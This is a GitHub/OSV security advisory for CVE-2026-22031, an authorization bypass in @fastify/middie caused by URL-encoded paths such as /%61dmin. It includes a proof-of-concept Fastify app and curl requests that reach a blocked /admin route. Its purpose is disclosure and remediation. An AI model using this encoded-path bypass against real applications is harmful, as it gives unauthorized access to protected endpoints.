CVE-2026-22031: @fastify/middie Fastify Middie Middleware Path Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cxrg-g7r8-w69p",
  "modified" : "2026-01-20T16:34:50Z",
  "published" : "2026-01-20T16:34:50Z",
  "aliases" : [ "CVE-2026-22031" ],
  "summary" : "Fastify Middie Middleware Path Bypass",
  "details" : "### Summary\nA security vulnerability exists in `@fastify/middie` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.\n\n### Details\nThe vulnerability is caused by how `middie` matches requests against registered middleware paths.\n\n1.  **Regex Generation**: When [fastify.use('/admin', ...)](cci:1://file:///Users/harshjaiswal/work/research/nest/packages/platform-fastify/adapters/fastify-adapter.ts:733:2-741:3) is called, `middie` uses `path-to-regexp` to generate a regular expression for the path `/admin`.\n2.  **Request Matching**: For every request, `middie` executes this regular expression against `req.url` (or `req.originalUrl`).\n3.  **The Flaw**: `req.url` in Fastify contains the **raw, undecoded** path string.\n    *   The generated regex expects a decoded path (e.g., `/admin`).\n    *   If a request is sent to `/%61dmin`, the regex comparison fails (`/^\\/admin/` does not match `/%61dmin`).\n    *   `middie` assumes the middleware does not apply and calls `next()`.\n4.  **Route Execution**: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies `/%61dmin` as `/admin` and executes the corresponding route handler.\n\n**Incriminated Source Code:**\nIn the provided `middie` source:\n```javascript\n// ... inside Holder function\nif (regexp) {\n  const result = regexp.exec(url) // <--- 'url' is undecoded.\n  if (result) {\n    // ... executes middleware ...\n  } else {\n    that.done() // <--- Middleware skipped on mismatch\n  }\n}\n```\n\n### PoC\n**Step 1:** Run the following Fastify application (save as `app.js`):\n```javascript\nconst fastify = require('fastify')({ logger: true });\n\nasync function start() {\n  // Register middie for Express-style middleware support\n  await fastify.register(require('@fastify/middie'));\n\n  // Middleware to block /admin route\n  fastify.use('/admin', (req, res, next) => {\n    res.statusCode = 403;\n    res.end('Forbidden: Access to /admin is blocked');\n  });\n\n  // Sample routes\n  fastify.get('/', async (request, reply) => {\n    return { message: 'Welcome to the homepage' };\n  });\n\n  fastify.get('/admin', async (request, reply) => {\n    return { message: 'Admin panel' };\n  });\n\n  // Start server\n  try {\n    await fastify.listen({ port: 3008 });\n  } catch (err) {\n    fastify.log.error(err);\n    process.exit(1);\n  }\n}\n\nstart();\n```\n\n**Step 2:** Execute the attack.\n1.  **Normal Request (Blocked):**\n    ```bash\n    curl http://localhost:3008/admin\n    # Output: Forbidden: Access to /admin is blocked\n    ```\n2.  **Bypass Request (Successful):**\n    ```bash\n    curl http://localhost:3008/%61dmin\n    # Output: {\"message\":\"Admin panel\"}\n    ```\n\n### Impact\n*   **Type:** Authentication/Authorization Bypass.\n*   **Affected Components:** Applications using `@fastify/middie` to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes.\n*   **Severity:** High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@fastify/middie"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.1.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 9.0.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22031"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fastify/middie/pull/245"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/fastify/middie"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fastify/middie/releases/tag/v9.1.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-177" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-20T16:34:50Z",
    "nvd_published_at" : "2026-01-19T16:15:54Z"
  }
}